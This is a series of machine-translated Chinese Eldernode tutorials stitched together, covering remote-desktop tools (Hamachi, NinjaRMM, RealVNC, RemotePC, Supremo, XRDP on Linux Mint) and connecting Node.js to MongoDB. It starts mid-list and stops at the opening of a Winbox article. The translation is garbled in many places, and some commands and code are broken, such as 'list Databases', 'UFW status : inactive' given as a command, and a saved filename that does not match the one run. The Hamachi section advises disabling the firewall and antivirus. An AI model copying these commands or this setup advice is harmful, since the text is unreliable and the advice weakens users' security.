I- 使用 256 位 SSL 加密在公共和私有网络上建立安全通信的能力
J- 将网络中的所有用户相互连接的能力
K- 用户访问特定计算机的能力
L- 共享文件的能力
M- 在一个地方控制所有网络的消费和访问
N- 管理和检索网络的能力
O- 设置密码的能力
P- 指定加密连接的能力
Q- 网络下玩游戏
R- 共享打印机等资源
了解 Windows 10 服务器远程桌面上的 Connect log mein
安装 Hamachi 程序后,该程序将从 Hamachi 服务器获得一个有效的 IP。通过创建一个虚拟的内部网络,将您的朋友连接到同一个网络,这样您就可以远程相互连接。该程序设计用于在运行两个主要操作时轻松访问,一个是构建网络,另一个是连接到网络。用户可以很容易地使用这两个动作。根据您的目标,您应该选择以下选项之一。
1。创建网络并邀请您的朋友加入创建的网络。
2。你的朋友建立了一个网络,你连接到这个网络。
在程序的主要部分,如果你想创建一个网络,选择选项创建一个新的网络。指定网络名称和密码以连接到网络。如果要连接到网络,必须选择第二个选项,即加入现有网络。窗口出现后,您必须键入网络名称和密码并连接到该网络。
使用 Hamachi 程序的要点
1。要顺利连接到网络并在开放局域网列表中找到该网络,您应该使 Hamachi 网络硬件(虚拟网卡)成为网络的优先级。
进入开始菜单 / 控制面板 / 网络和共享中心。
出现网络和共享中心窗口后,在左侧菜单中,点击更改适配器设置显示网络列表。
然后从高级菜单中选择高级设置。如果不在列表中,按键盘上的 ALT 键调出弹出菜单。
在打开的窗口中,点击 Hamachi 并用向上箭头将其置于列表顶部。
2。禁用 Windows 防火墙和杀毒。
3。要测试您的系统和您的朋友系统之间的连接,右键单击您的朋友列表并选择 Ping 。如果程序超时,这意味着两个系统之间没有连接,没有数据交换。但是如果超时程序不起作用,两个系统之间的连接就建立了。其他系统之间的这种通信必须是正确的,否则你会遇到问题。
4。要与群组成员聊天,可以在滨口程序列表中右击其名称,选择聊天。对于群组聊天,右键单击群组所连接的网络名称,选择聊天,开始聊天。
5。在 Hamachi,只有 5 个系统可以联网在一起,但一个拥有服务器的人可以创建几个 Hamachi 网络,并通过构建服务器将其余的连接到其网络。
6。服务器的速度和互联网对网络的延时和牵引力影响很大。哈玛奇的潜伏期在 50 到 140 之间。因此,如果网络连接的数量增加,服务器的速度和牵引力必须很高,以便能够无延迟地建立连接。所以人越多,潜伏期就越高。
7 .。配置 Hamachi 应用程序设置,以便不是所有您共享的驱动程序都显示给那些您不认识的人。您甚至可以禁用共享。
8。您可以在具备局域网功能的游戏中使用 Hamachi 程序。像游戏将军,魂斗罗等。
结论
Logmein 软件对多达 16 台电脑是免费的,但超过 16 台电脑就要付费了。logmein 实际上是一种 vpn 网络,在这里你可以远程访问共享信息。在本文中,在介绍了 logmein 软件之后,我们尝试了如何在 Windows 10 上连接 LogMeIn 远程桌面。
教程在 Windows 10 上连接 NinjaRMM 远程桌面- Eldernode
原文:https://blog.eldernode.com/connect-ninjarmm-remote-desktop-on-windows-10/
教程如何在 Windows 10 上连接 NinjaRMM 远程桌面。远程桌面或 RDP 用图形界面帮助用户通过网络连接到另一台计算机,由微软开发。Windows 10 是最新的微软 Windows 桌面版。您可以通过 Eldernode 24 小时支持和特别优惠购买 Windows 10 远程桌面。
如何在 Windows 10 上连接 NinjaRMM 远程桌面
在下面的介绍远程桌面软件的教程中,我们将回顾 Ninja RMM 及其功能。当您连接到 Windows 10 上的 NinjaRMM 远程桌面时,您会看到它允许您从单一控制台访问 Windows 和 Mac 端点。好消息是,您不需要学习新工具或记住额外的登录来管理您的所有终端。使用此遥控器,您只需轻轻一点,即可控制有人值守或无人值守的终端,而且开箱即用,几乎无需任何设置。请随意使用 Splashtop、TeamViewer 或 RDP ,因为 Ninja RMM 保证了快速、安全和稳定的连接,以帮助您更快地完成任务。
了解 Windows 10 上的 Connect NinjaRMM 远程桌面
什么是 RMM 软件?
R emote M 监控和 M 管理用于从远程终端和网络收集信息,以评估其健康状况,并在不中断的情况下对其执行各种远程 IT 管理任务。作为托管服务提供商,您可以将此软件作为一个很好的解决方案。你在哪里并不重要,这些专业人士会为你提供 IT 支持。他们需要一种快速、可靠的方式来做到这一点,而不必亲临客户办公室提供现场支持。
忍者 RMM 的特点和优势
It 提供商使用 RMM 软件作为一种快速、安全的远程桌面软件来转变他们的运营,使他们更高效、更有效,并且在 MSP 的情况下更有利可图。让我们看看这些好处到底是什么。
1- 从一个中心位置实现全面的可见性和控制
2- 通过单一平台实现全面的 IT 管理
3- 自动化使支持变得可扩展
4- 主动支持而非被动支持
如何保护您终端的安全
通过安全的远程访问保护您终端的安全。由于所有远程会话都受到 TLS 和 256 位加密的保护,您可以确保终端的安全性。
如何在 NinjaRMM 中添加应用
要添加新的应用程序,您应该在策略设置中设置一个条件。让我们看看如何进行设置。
首先,转到 NinjaRMM 策略,为您想要确保安装了特定软件的设备选择相关策略。
然后,你应该点击添加一个条件,让它弹出一个带有选项的弹出框。
在这一步中,尝试点击选择一个条件。
如下图所示,会出现一个下拉菜单
现在是选择软件的时候了
当您看到下拉菜单显示显示框时,您可以选择检查软件是否不存在或已经存在于设备上的条件。之后,您需要为动作添加一个名称标签;单击保存。
在下一个下拉菜单中,您可以为条件添加一个显示名称和重置互联网。如果您急于发送通知,您可以选择严重性和优先级,如果您想使用 PSA 集成添加票证,也可以选择。
接下来,您只需单击添加操作。
通过下一个下拉菜单,您将看到所有可供选择的操作。
如果你看下面的图片,你可以看到你可以选择架构,添加上传文件,名称,MSI 或 EXE 下载的网址,你也可以添加参数的命令行功能,你也可以选择是否要运行作为系统或作为当前用户。
结论
在本文中,您学习了如何连接 NinjaRMM 远程桌面。Ninja 更容易,与你想要的工具集成得更好。从现在起,您可以在其网站上将该软件用作云基础,并在您的 Windows 上安装代理,以将您的数据发送到网络基础。如果您有兴趣阅读更多内容,请查看我们关于如何在 Windows 10 上连接 Teamviewer 远程桌面的文章。
In this article, you learned How To Connect NinjaRMM Remote Desktop. Ninja is easier and integrated better with the tools you want. From now on, you can use this software on its website as a cloud base and install the agent on your Windows to send your data to the web base. In case you are interested in reading more, find our article on How to Connect Teamviewer Remote Desktop On Windows 10.
如何连接 Node.js 和 MongoDB:综合教程
由于其存储和查询的类型,MongoDB 数据库一直很受 Node.js 开发人员的欢迎。在本文中,我们打算全面教您如何连接 Node.js 和 MongoDB。如果您想购买 VPS 服务器,您可以访问 Eldernode 网站上提供的各种计划。
教程连接 Node.js 和 MongoDB
node . js 是什么?
Node.js 是基于谷歌 Chrome JavaScript 引擎(V8 引擎)的服务器端平台。节点。JS 提供了运行用 JavaScript 编写的程序所需的一切。
Ryan Dahl 先生介绍了 Node。JS 来展示 JavaScript 比仅仅用于前端动态网页更强大。事实上,在 Node.js 的帮助下,JavaScript 编程语言正在服务器环境中执行,而不是在浏览器中。Node.js 允许您轻松简单地编写可伸缩的大型网络应用程序。
自 1995 年以来,JavaScript 一直在发展。虽然这种语言直到很久以前才在服务器端成功出现,并且程序员所做的努力随着时间的推移逐渐从其他开发人员的脑海中消失。直到 2009 年 Node.js 的引入,随着时间的推移,JavaScript 在服务器端的使用越来越多。
node . js 有哪些用途?
允许程序员在服务器端运行他们的 JavaScript 代码的环境之一就是 Node.js,在下面,我们将向您解释 Node.js 的一些重要应用。
1。创建单页应用程序(SPA)
SPA 是指所有部分都在一个页面中实现的程序。因为 Node.js 很好地支持异步编程,所以被认为是构建 SPA 应用程序的好选择。
2。制作 RTA 程序
RTA 代表实时应用程序。也就是实时有各种变化的程序。通常,交互式应用程序、项目管理工具、视频和音频会议以及其他 RTA 应用程序会执行繁重的 I/O 操作。
3。创建聊天室
RTA 应用程序最著名的例子之一是聊天室和信使。事实上,Node.js 是构建聊天室的绝佳选择。如果你打算做这样的产品,你应该注意各种事情,如容忍大量的用户流量,产品的轻便性,发送消息的高速率等。所有这些都可以借助 Node.js 和 Express.js 这样的 JavaScript 框架在服务器端实现。
4。在网络浏览器下创建网络游戏
借助 Node.js,可以开发网页游戏。事实上,通过结合 HTML5 技术和 JavaScript 工具,你可以创建吸引人的 2D 游戏,如《上古野兽》或《绘画战争》。
什么是 MongoDB?
MongoDB 是最著名的非 SQL 数据库之一。该数据库具有灵活的结构,主要用于具有大量数据的项目。该数据库是一个免费的开源平台,使用面向文档的数据模型,可以在 Windows、Macintosh 和 Linux 上使用。存储在 MongoDB 中的数据值使用两个主键(主键)和辅键(辅键)。
MongoDB 包含一个值数组。这些值以文档的形式存在,包含不同大小的不同类型的数据。这个问题使得 MongoDB 能够存储具有复杂结构的数据,如分层或数组数据。
MongoDB的特性
由于面向文档的数据存储模型, MongoDB 比关系数据库更加灵活和可伸缩,它解决了许多业务需求。
这个数据库使用分片来划分数据,更好地管理系统。分片意味着分成多个部分,并在网络的最高负载上完成。通过这种方式,数据库被分成几个子部分,以使响应来自服务器的请求的过程更容易。
可以使用两个主键和辅键来访问数据,并且每个字段都可以被键入。这使得数据访问和处理时间非常快。
复制是 MongoDB 的另一个重要特性。在这种技术中,副本是由作为主数据的数据和数据库系统的其他部分存储的数据组成的。如果此数据丢失或损坏,复制的数据将用作原始数据和替代数据。
在本文的其余部分,在学习了如何安装 MongoDB Node.js 驱动程序之后,我们将教您如何连接 Node.js 和 MongoDB。
如何安装 MongoDB Node.js 驱动
在这一节中,我们将教你如何安装 MongoDB Node.js 驱动程序。安装 MongoDB Node.js 驱动程序的原因是为了让您能够在 Node.js 应用程序中轻松地与 MongoDB 数据库进行交互。因此,您需要一个驱动程序来连接到数据库并执行您想要的活动。
您可以通过运行以下命令轻松安装 MongoDB Node.js:
npm install mongodb
安装完 MongoDB Node.js 驱动程序后,现在应该创建一个免费的 MongoDB Atlas 集群。
考虑到您需要一个 MongoDB 数据库,我们建议您使用 Atlas。应该注意的是,这个数据库是完全作为服务来管理的。
1.为此,只需转到 Atlas 并在空闲行中创建一个新的集群。
2.然后,您可以下载示例数据。
3.最后一步是为集群的连接做准备。
4.建立一个集群连接,你需要在 Atlas 中进入你的集群,点击连接。
5.然后将向您显示群集连接向导。
请注意,向导会要求您将当前 IP 地址添加到 IP 访问列表中。要添加 IP,您需要创建一个 MongoDB 用户。
6.然后你需要选择一种连接方式。
7.在下一步中,您可以选择连接应用程序。
注意:必须选择 Node.js 和 3.6 以上版本。
8.最后,您可以复制提供的连接字符串。
如何从节点连接数据库. js
现在您可以了解如何连接 Node.js 和 MongoDB。我们将编写一个连接到数据库的 Node.js 脚本。这样做会列出集群中的数据库。第一步是导入 MongoClient。您可以使用以下命令来使用 MongoClient 的实例。这样,您可以使用连接到集群,访问该集群中的数据库,并关闭到该集群的连接:
const {MongoClient} = require('mongodb');
我们建议您在下一步创建一个名为 main()的异步函数。使用您看到的这个函数,您将能够连接到您的 MongoDB 集群并调用所需的函数:
async function main() { // we'll add code here soon }
您必须在 main()中为您的连接 URI 创建一个常量。粘贴连接字符串时,将 <用户名> 和 <密码> 更新为您在上一节中创建的用户凭证。
连接字符串包含一个 < dbname > 占位符。在以下命令中,考虑到使用了 sample_airbnb 数据库,需要将 < dbname > 替换为 sample_airbnb :
/** * Connection URI. Update <username>, <password>, and <your-cluster-url> to reflect your cluster. * See https://docs.mongodb.com/ecosystem/drivers/node/ for more details */ const uri = "mongodb+srv://<username>:<password>@<your-cluster-url>/test?retryWrites=true&w=majority";
创建一个 MongoClient 实例:
const client = new MongoClient(uri);
现在可以使用 MongoClient 连接到集群。client.connect()返回一个承诺。用 await 调用 client.connect() 意味着进一步的执行将被阻塞,直到该操作完成:
await client.connect();
在下一步中,创建一个函数来打印该集群中数据库的名称。因此,可以使用以下命令调用名为 listDatabases()的函数:
await list Databases(client);
要处理错误,请通过执行以下命令来关闭对与数据库交互的函数的调用:
try { await client.connect(); await listDatabases(client); } catch (e) { console.error(e); }
运行以下命令以确保集群已关闭:
finally { await client.close(); }
然后,您可以将错误发送到控制台:
main().catch(console.error);
最后,通过将 main()函数和调用命令放在一起,它将类似于以下命令:
async function main(){ /** * Connection URI. Update <username>, <password>, and <your-cluster-url> to reflect your cluster. * See https://docs.mongodb.com/ecosystem/drivers/node/ for more details */ const uri = "mongodb+srv://<username>:<password>@<your-cluster-url>/test?retryWrites=true&w=majority"; const client = new MongoClient(uri); try { // Connect to the MongoDB cluster await client.connect(); // Make the appropriate DB calls await listDatabases(client); } catch (e) { console.error(e); } finally { await client.close(); } } main().catch(console.error);
您可以列出集群中的数据库,并在输出中打印和查看结果:
async function listDatabases(client){ databasesList = await client.db().admin().listDatabases(); console.log("Databases:"); databasesList.databases.forEach(db => console.log(` - ${db.name}`)); };
保存文件以应用更改,并将其命名为类似于 connect.js 的名称。
如何执行 Node.js 脚本
成功完成上述步骤后,现在是测试代码的时候了。因此,您可以在以下命令的帮助下轻松运行您的脚本:
node connection.js
输出:
数据库:
–sample _ Airbnb
–sample _ 地理空间
–sample _ mflix
–sample _ supplies
–sample _ training
–sample _ weather data
–admin
–local
结论
在这篇文章中,我们试图向您介绍 Node.js 和 MongoDB。然后我们教你如何连接 Node.js 和 MongoDB。如果您有任何问题,可以在评论区询问支持专家。
在 Windows 10 上连接 RealVNC 远程桌面的快速方法
原文:https://blog.eldernode.com/connect-realvnc-remote-desktop-on-windows-10/
在 Windows 10 上连接 RealVNC 远程桌面的快速方法。 RealVNC 是可以用来全面监控小型和大型计算机网络的软件名称。在该软件中,为网络管理员提供了能够远程监控网络系统而无需本地访问系统的设施。通过软件,你可以访问网络中所有系统的屏幕。借助这一特性,网络管理员可以很容易地全面了解网络用户的行为,并在出现问题时阻止他们访问网络。
通过这篇介绍,我们试着教你如何在 Windows 10 上连接 realvnc 远程桌面。如果你需要购买 Windows VPS 服务器,你可以在 Eldernode 看到可用的包。
如何在 Windows 10 上安装 RealVNC 远程桌面
1。 先下载 RealVNC 。
2。要安装 VNC 软件,双击其安装文件运行安装向导。
注意: 如果之前的版本正在运行,并且其他系统连接到您的系统,而您当前正在升级程序,那么您的连接将被暂时断开以升级程序。
3。点击下一个。
4。下一步,你会看到许可协议,是你和软件公司之间的合同。点击这里的第一个选项,我接受协议,表示您已经接受合同,点击下一步。
5。现在您需要指定如何使用该程序,这意味着如果您希望其他系统连接到您的系统并能够使用您的系统,则必须启用 VNC 服务器选项。此外,如果您想要连接到其他系统并能够使用这些系统,必须启用 VNC 浏览器选项。
软件本身建议您在系统上安装这两个组件。如果你是一个网络的管理员,你想只连接你自己的其他网络客户端,而其他客户端不能互相连接,客户端最好只勾选 VNC 服务器选项,并为你自己启用 VNC 浏览器选项。
6。在下一步中,应该会显示 VNC 服务器文件的存储位置,您可以根据需要更改存储位置。
7。在第七步中,您必须指定 VNC 浏览器程序的存储位置。然后点击下一个。
8。在第八步中,您可以启用创建 VNC 浏览器桌面图标复选框,在安装后将程序图标放置在桌面屏幕上。
9。如果你想安装 VNC 服务器组件,你会遇到这一步。这一步告诉你这个程序应该在你的防火墙中创建一个 roll,这样其他人就可以远程访问你的系统。因此,如果您取消选中向 VNC 服务器的防火墙添加例外,将不会为您创建此角色,并且当您尝试远程访问此系统时会遇到问题。
10。在这一步中,它会显示您在前面步骤中所做工作的报告,点击安装安装程序。
11。最后,点击完成。
如何在 Windows 10 上连接 RealVNC 远程桌面
为了远程连接到使用 VNC 软件的系统,打开您系统中的 VNC 浏览器软件,在您想要连接的系统中,您必须打开 VNC 服务器软件。
注: VNC 服务器软件不能连接任何电脑但提供了一个环境供其他电脑连接,而 VNC 查看器软件只能连接其他运行 VNC 服务器软件的电脑。
1。在运行 VNC 浏览器软件的同一系统的第一台计算机上,从文件菜单中选择新连接。
2。在打开的窗口中,您必须在 VNC 服务器框中输入第二台计算机的信息。您必须在运行 VNC 服务器软件的第二台计算机上输入第二台计算机的 IP 地址。
3。您也可以在名称框中选择一个名称。
4。在安全部分,您可以指定对第二台计算机的连接进行加密,以提高安全性。
5。在加密列表中有几个选项:
–让 VNC 服务器选择
–****始终最大为连接使用最强的加密能力,它使用 256 位加密。
–****始终开启不支持未加密的连接,使用 128 位加密。
–****如果可能的话,最好使用加密连接打开。
–****首选关闭不使用加密进行连接。该选项降低了连接安全性。
注意: 如果不勾选自动更新桌面预览,第二台电脑屏幕预览将不再显示。
6。好了,现在点击确定。
7。要连接,只需右击添加到列表中的计算机,然后点击连接。在打开的页面中,在用户名字段中输入第二台计算机的用户名,在密码字段中输入第二台计算机的密码。
注意: 如果您勾选了记住密码选项,下次您想要远程连接第二台电脑时,它将不再询问您的用户名和密码。
8。点击确定连接第二台电脑。
然后你会看到第二个电脑屏幕的连接,你可以做任何你想做的事情。
结论
VNC 在 Windows 操作系统中,远程桌面连接或 RDC 用于与 VPS 服务器或专用服务器通信。VNC 通常用于类 UNIX 服务器。在 VNC 的帮助下,您可以通过图形界面连接到服务器并执行所需的操作。由于 RealVNC 对网络管理员的重要性,在本文中,我们试图教授如何在 Windows 10 上连接 RealVNC 远程桌面。
在 Windows 10 上连接 remotedesktopmanager 远程桌面
原文:https://blog.eldernode.com/connect-remotedesktopmanager-remote-desktop-on-windows-10/
Tutorail 如何在 Windows 10 上连接 remotedesktopmanager 远程桌面。Windows Server 是最流行的服务器操作系统之一,其图形环境类似于 home Windows,易于使用,可以轻松管理 VPS 服务器 / Windows 专用服务器。默认情况下,Windows 操作系统上有一个名为远程桌面连接的软件,也称为远程桌面协议或 RDP。Windows 用户可以使用该软件轻松连接到 Windows Server 并访问他们的服务器。在本文中,我们将教你如何在 Windows 10 上通过远程桌面连接到 Windows 服务器。在服务器节点市场上有几个 RDP 管理服务器服务。你可以选择其中一个计划。
跟随我们关于用 RDP 连接到 Windows 服务器的教程,教你如何远程连接到一个 Windows VPS 服务器。
如何在 Windows 10 上连接 remotedesktopmanager 远程桌面
您必须使用的第一个程序是远程桌面连接,它为您提供了一种从自己的计算机与服务器或任何其他计算机进行通信的方式,并使目标系统处于您的控制和支配之下,您可以详细访问所有设置。
若要开始,您需要在 Windows PC 上运行远程桌面连接。然后搜索开始菜单,搜索远程桌面连接并运行。
也可以通过运行打开键盘,用 Windows + R 组合键运行,键入单词 mstsc,点击 OK 运行远程桌面连接。
打开远程桌面连接程序后,在单词“计算机”前面的框中,输入要连接的服务器或计算机的 IP,然后单击“连接”按钮。
在名为 Windows Security 的新窗口中,您必须输入您的用户名和密码才能连接并登录到服务器。
注意: 如果选择了特定的用户名和密码,使用相同的,否则可以创建管理员,成为主管理员。
您可以通过选中记住我的凭据选项来保存输入的信息。
最后,点击确定连接到你想要的服务器。
在某些情况下,或者如果这是您第一次使用远程桌面连接,您可能会看到如下消息:
在这种情况下,您可以选中不要再询问我是否连接到这台计算机选项,然后单击是,这样当您尝试连接到服务器时,该消息就不会再出现。
最后,您连接到服务器。如果您在连接到 Windows Server 时遇到认证错误或 CredSSP 加密 Oracle ,您可以使用修复远程中的 CredSSP 加密 Oracle 错误。
结论
对于那些不知道什么是远程桌面或 RDP 的用户,我必须解释一下,第一个远程桌面工具是在 Windows XP 中介绍给 Windows 用户的。您可以使用 remote desktop 来远程控制另一台电脑,而不必坐在它后面。本文介绍了如何在 Windows 10 上连接 remotedesktopmanager 远程桌面。
如何在 Windows 10 上连接 RemotePC 远程桌面
原文:https://blog.eldernode.com/connect-remotepc-remote-desktop-on-windows-10/
教程如何在 Windows 10 上连接 RemotePC 远程桌面。组织使用远程 PC 桌面能够让他们的员工以安全的方式轻松地远程访问公司资源。你可以以令人难以置信的价格购买管理 RDP 服务器,更好地体验本指南的提示。您可以通过允许用户访问他们的物理办公电脑来确保这种安全访问。开始吧!您所需要的只是一个活跃的互联网连接和安装在远程计算机上的 RemotePC 应用程序。
如何一步一步连接 Windows 10 上的 RemotePC 远程桌面
加入我们,了解用户如何访问他们的办公电脑。当您使用远程 PC 访问时,您不需要引入和提供其他工具(虚拟桌面或应用程序)来适应远程工作。在 Windows 10 rdp 上连接远程访问桌面,访问他们工作所需的所有应用、数据和资源。要随时通过 Internet 完全控制您的计算机,请将您的计算机配置为远程访问。远程 Pc 桌面支持 Windows 10、Windows 8.1、Windows 8、Windows 7、Windows 2016 Server、Windows 2012 Server、Windows Server 2008 R2。
Windows 10 上的 RemotePC 远程桌面功能
使用该软件,您可以通过指定 ou 批量添加电脑来添加机器。此外,它将支持每个单个用户和多个用户的分配,因为能够根据登录到 office Windows PC 的用户自动分配用户。通过使用其他类型的机器目录,Citrix 虚拟应用程序和桌面可以容纳更多使用情形,因为物理 Linux 和 PCsPooled 物理 PC 用于物理 PC。看看下面的其他一些:
1- 始终在线远程访问
2- 一次性即时存取
3- 通过网络访问
4- 独立于平台
5- 安全远程访问
6- 可扩展
7- 文件传输
8- 聊天
9- 远程打印
10- 远程重启
11- 白板
12- 远程播放声音
13- 邀请合作
14- 记录远程会话
15- 拖拽
16- 多对多监视器
17- 日志和报告
18- 符合性
如何通过 Web 访问连接远程电脑
是啊!好消息是。要连接您的在线远程计算机,您只需要有一个网络浏览器,现在您可以停止搜索如何下载或安装它。这样,您就可以直接在浏览器中连接到远程计算机,而不需要其他软件。
如何通过网络连接
配置后,您需要输入个人密钥,才能连接到远程计算机。
接下来是控制步骤,连接后,你可以控制远程计算机,就好像你就坐在它的前面一样。
毕竟,您会体验到以下功能:
1-锁定屏幕
2-空白主机屏幕
3-远程打印
4 开关监控器
5-聊天
6-在会话期间在计算机之间拖放文件。
授予对您电脑的远程访问权限
让我们看看如何下载适用于 Pc、Mac、Linux、iOS 和 Android 的 RemoteP 应用程序。
首先,在您的计算机上安装并运行 RemotePC。
其次,设置您的计算机进行远程访问。
最后,您可以处理文件和文件夹、传输数据、打印等等。
什么是“计算机名”
您的计算机的默认名称称为计算机名,用于在远程访问时识别它。您可以随时编辑电脑名称。
什么是‘个人密钥’
您设置的密码称为个人密钥,作为您计算机的唯一访问代码。它仅存储在您的计算机上,而不存储在 RemotePC 服务器上。
远程电脑选项登录时的含义:
若要开始,请下载 RemotePC 应用程序并将其安装在您的计算机上。设置并运行应用程序后,您将被重定向到登录页面。登录到您的 RemotePC 桌面应用,并为远程访问配置您的计算机。
RemotePC Web 访问:登录您的 RemotePC Web 帐户
启用 RemotePC :您可以启用 RemotePC 应用程序
首选项:管理壁纸、主题、字体等,并更改代理设置
代理设置:配置代理设置以使用 RemotePC 应用程序
RemotePC 帮助:remote PC 的在线帮助指南
发送错误报告:如有疑问、建议或反馈,请联系 RemotePC 支持团队
检查更新:查看您的 RemotePC 版本是否是最新的
关于 RemotePC :查看您的 RemotePC 版本、安装日期等。
退出:退出应用程序
注销时远程电脑选项的含义是什么(适用于 Windows)
RemotePC Web 访问:登录您的 RemotePC Web 帐户
首选项:管理壁纸、主题、字体等,并更改代理设置
代理设置:配置代理设置以使用 RemotePC 应用程序
RemotePC 帮助:remote PC 的在线帮助指南
发送错误报告:如有疑问、建议或反馈,请联系 RemotePC 支持团队
检查更新:查看您的 RemotePC 版本是否是最新的
关于 RemotePC :查看您的 RemotePC 版本、安装日期等。
退出:退出应用程序
结论
在本文中,您学习了如何在 Windows 10 上连接 RemotePC 远程桌面。从现在起,您可以在 Windows 上运行它,并使用它的几个功能从家里或办公室控制您的目标系统。此外,你可以阅读更多关于如何在 Windows 10 上连接 Iperius 远程桌面的。
In this article, you learned How To Connect RemotePC Remote Desktop On Windows 10. From now on, you can run it on your Windows and use its several features to control your target systems from home or office. Also, you can read more on How To Connect Iperius Remote Desktop On Windows 10.
如何在 Windows 10 上连接 Supremo 远程桌面- Eldernode
原文:https://blog.eldernode.com/connect-supremo-remote-desktop-on-windows-10/
教程如何在 Windows 10 上连接 Supremo 远程桌面。Supremo Remote Desktop 是远程连接和控制计算机的应用程序之一。该程序用于通过互联网连接和控制其他系统。Supremo 远程桌面不需要特殊设置。借助该程序,您可以远程连接到目标系统并对其进行管理和控制。如果你需要购买 Windows VPS 服务器或者 RDP 管理员,可以访问 Eldernode 中提供的包。
教程 Windows 10 上的 Connect Supremo 远程桌面
如果您在家中,想要访问您的工作系统,借助远程桌面程序,您可以远程控制和监控您的系统。例如,如果公司经理想要监控和管理其员工的系统,这可以通过远程桌面程序来实现。当系统出现问题而用户无法解决问题时,远程桌面程序可以远程连接到系统并解决问题。这就是为什么我们决定在本文中教你如何在 Windows 10 上连接 Supremo Remote Desktop。
Supremo 远程桌面应用程序的功能
Supremo 远程桌面环境简单,安全性高。这个程序支持用户使用一种叫做 HTTPS 的安全协议,SSL 来实现系统之间的远程通信。该程序通过 HTTPS SSL 安全协议为源计算机和目标计算机之间的文件交换提供安全连接。使用安全协议和强大的加密,这个程序提高了连接两个远程系统时的安全级别。
这个程序的另一个特点是支持几个用户同时连接到一台计算机上。例如,一个公司的所有成员都可以通过这个程序连接到一台远程计算机,看到你所有的活动和工作过程。这个程序最重要的特点之一是可以通过 FTP 协议或拖放操作在两台源计算机和目的计算机之间交换文件。此功能允许您用鼠标轻松点击目标计算机中的文件,选择并保存到您的系统中。许多用户希望通过远程桌面应用程序将他们的文件传输到另一个系统。Supremo 远程桌面程序使这成为可能。
Supremo 远程桌面的功能
–体积非常小,非常适用
–完全支持 SSL 标准
–兼容大多数窗口
–轻松连接各种远程计算机
–支持强大的加密算法
–无需特殊配置和设置,例如:防火墙和路由器
–能够将多个用户同时连接到一个系统
–高安全性和加密
–能够通过 FTP 协议传输文件和文件夹
–能够边交流边聊天
在 windows 10 上使用 Supremo 远程桌面软件非常容易。为此,只需遵循以下步骤:
1。首先,进入 Superimo 网站,下载 Superimo 软件,如下图所示:
2。然后到你下载文件的地方,双击掌门文件运行。
3。要安装 Supremo,只需选择安装 Supremo 选项。您必须在密码字段中输入您想要的密码,并在确认密码中再次输入,然后点击接受。
4。最后,在连接到部分输入目的计算机的 ID 并点击连接即可,这样在计算机确认后,您想要的通信就会发生。
注: 要在两台电脑之间进行远程控制,两台电脑都必须在线。
结论
Windows 操作系统和其他操作系统为了与其他用户通信并连接到他们的系统,无论是文本、音频还是视频,通常都有内置的远程桌面或 messenger 程序。但有时这些程序背后会有许多问题,例如所用版本和可用操作系统的差异,以及其他问题。这就是我们推荐 supremo 电信项目的原因。这款软件在远程桌面、连接速度、消息传递以及在大多数平台和操作系统上运行方面都非常出色。它还适用于虚拟系统,如虚拟 vmware 等。在这篇文章中,我们试图教你如何在 Windows 10 上下载、安装和连接 Supremo Remote Desktop。
Windows operating system and other operating systems To communicate with other users and connect to their system, whether text, audio or video, usually have a built-in remote desktop or messenger program. But sometimes there are a number of problems behind these programs, such as differences in the versions used and the operating system available, and other problems. That’s why we recommend the supremo telecommunications program. This software is excellent in terms of remote desktop, connection speed, messaging and running on most platforms and operating systems. It also works on virtual systems such as virtual vmware and so on. In this article, we tried to teach you how to download, install and connect Supremo Remote Desktop On Windows 10.
如何用 RDP -埃尔德诺德博客连接到 Linux Mint
原文:https://blog.eldernode.com/connect-to-linux-mint-with-rdp/
RDP 为用户提供了通过网络连接到另一台计算机的图形界面。在这篇文章中,我们将教你如何用 RDP 连接到 Linux Mint。此外,如果你想购买一个 管理 RDP 服务器 托管,你可以访问 Eldernode 中可用的软件包。
教程用 RDP 连接 Linux Mint】
什么是 RDP?
RDP 代表RemoteDesktopProtocol,是一种远程使用台式电脑的协议。RDP 由微软提供,允许用户远程连接到另一台计算机。它为通过网络连接到另一台计算机提供了图形用户界面(GUI)。通过 RDP 协议的远程访问用户体验非常接近直接访问。RDP 可以在本地网络上设置和启用,也可以使用 RDP 通过互联网连接到另一台远程计算机。
Linux 造币厂简介
Linux Mint 是一个基于 Ubuntu 和 Debian 的免费开源操作系统发行版。Linux Mint 包括专有的第三方浏览器插件、Java、多媒体支持和其他组件,以支持普遍接受的标准。这种支持允许 DVD 和蓝光回放以及 flash 播放媒体。Linux Mint 由几个不同的软件包组成,其中大部分是在一个免费许可证下发布的。Linux Mint 的主要许可是 LGPL 的 GNU GPL。
用 RDP 连接 Linux Mint(远程桌面)
首先,您应该在您的系统上安装 XRDP 。为此,请运行以下命令:
sudo apt install xrdp -y
现在运行下面的命令来启动 XRDP 服务:
sudo systemctl start xrdp
您可以启用 XRDP 服务:
sudo systemctl enable xrdp
要检查 XRDP 的状态,只需使用以下命令:
sudo systemctl status xrdp
如果在输出中显示 active(running ),则表明 XRDP 服务正在运行。
默认情况下,XRDP 使用/etc/SSL/private/ssl-cert-snake oil . key文件,该文件只能由 SSL-cert 组的成员读取。通过运行以下命令,您可以将 XRDP 用户添加到 ssl-cert 组:
sudo adduser xrdp ssl-cert
然后重启 XRDP 服务:
sudo systemctl restart xrdp
您可以使用以下命令检查防火墙在您的系统上是否处于活动状态:
UFW status : inactive
现在,您可以使用以下命令允许防火墙上的端口 3389 :
sudo ufw allow 3389/tcp
然后检查防火墙状态,查看是否允许 3389 端口:
sudo ufw status
在这一步中,您可以使用以下命令获得 Linux 机器的 IP:
ifconfig
现在,您应该从系统中注销。
最后,你应该打开远程桌面连接和输入你的 IP 和 Linux 机器的用户名连接到 Linux 机器并点击连接。
然后输入您的会话、用户名和密码,点击确定。
没错。你可以在 Linux Mint 中使用 RDP。
结论
RDP 用于将计算机连接到远程计算机,它允许客户端计算机查看远程计算机屏幕。在本文中,我们通过 RDP 教你如何使用和连接 Linux Mint。我希望这篇文章对你有用。
教程使用 Winbox - Eldernode 博客连接到 Mikrotik
原文:https://blog.eldernode.com/connect-to-mikrotik-using-winbox/
连接到 Mikrotik 路由器的一种方法是使用 Winbox。该软件通过控制带宽来管理 Mikrotik 虚拟服务器。在本文中,您将熟悉 Winbox 的各种特性,并了解如何使用 Winbox 连接到 Mikrotik。如果您想购买 Mikrotik VPS 服务器 ,我们建议您查看 Eldernode 网站上提供的套装。
如何使用 Winbox 连接到 Mikrotik】
Winbox 是什么?
